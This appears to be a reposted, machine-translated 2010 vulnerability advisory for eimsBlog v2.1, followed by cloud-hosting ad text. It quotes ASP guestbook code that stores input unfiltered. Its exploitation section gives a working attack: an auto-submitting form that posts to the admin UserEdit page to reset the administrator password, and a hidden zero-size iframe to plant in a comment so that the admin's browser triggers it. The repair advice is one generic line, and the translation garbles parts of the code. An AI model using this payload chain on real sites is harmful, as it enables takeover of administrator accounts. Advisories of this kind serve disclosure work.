Release date: 2010-08-23
Affected Version: eimsBlog_v2.1
Vulnerability Description: Cross-Site vulnerability
Author: m4r10 http://www.bhst.org reprint Please Note Copyright
Vulnerability Analysis: Article. asp
------------------------------------------------------------------------------
If Action = "Save" Then
If Session ("CheckCode") <> Trim (Request. Form ("Code") Then WriteMsg ("Verification Code error ")
Set Rs = Server. CreateObject ("Adodb. RecordSet ")
Rs. Open "Select * From [eims_GBook]", Conn, 1, 3
Rs. AddNew
Rs ("TypeID") = ItemID
Rs ("Name") = Trim (Request. Form ("Name"). The nickname of the unfiltered message recipient
Rs ("ItemNote") = Replace (Trim (Request. Form ("ItemNote"), chr (10), "<br>") does not filter the message content
Rs ("ItemAddDate") = Now ()
Rs. Update
Rs. Close: Set Rs = Nothing
Response. Redirect "Article. asp? ItemID = "& ItemID
Rs. Close: Set Rs = Nothing
End If
-------------------------------------------------------------------------------
XSS cross-site Vulnerability
Vulnerability exploitation:
First, you have a controllable website, and then construct a form:
<Html>
<Form name = "form1" method = "post"
Action = "http: // target URL/admin/UserEdit. asp? Action = Save & ItemID = ">
<Input name = "name" value = "admin">
<Input name = "pass" value = "123456789">
<Input name = "fpass" value = "123456789">
</Form>
<Script>
Document. form1.submit ();
</Script>
</Html>
Save the above Code as xxx. asp (the file name is random) and upload it to your own controllable website to get your own URL address.
Insert the following content in the comment of a random article:
<Iframe src = "http: // your own URL/xss. asp" width = 0 height = 0> </iframe>
This vulnerability can be exploited to directly change the administrator password when the Administrator logs on to the background to view the message content.
Hazard level: high
Repair suggestions:
Strengthen the check and verification of user input content to prevent malicious attacks
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
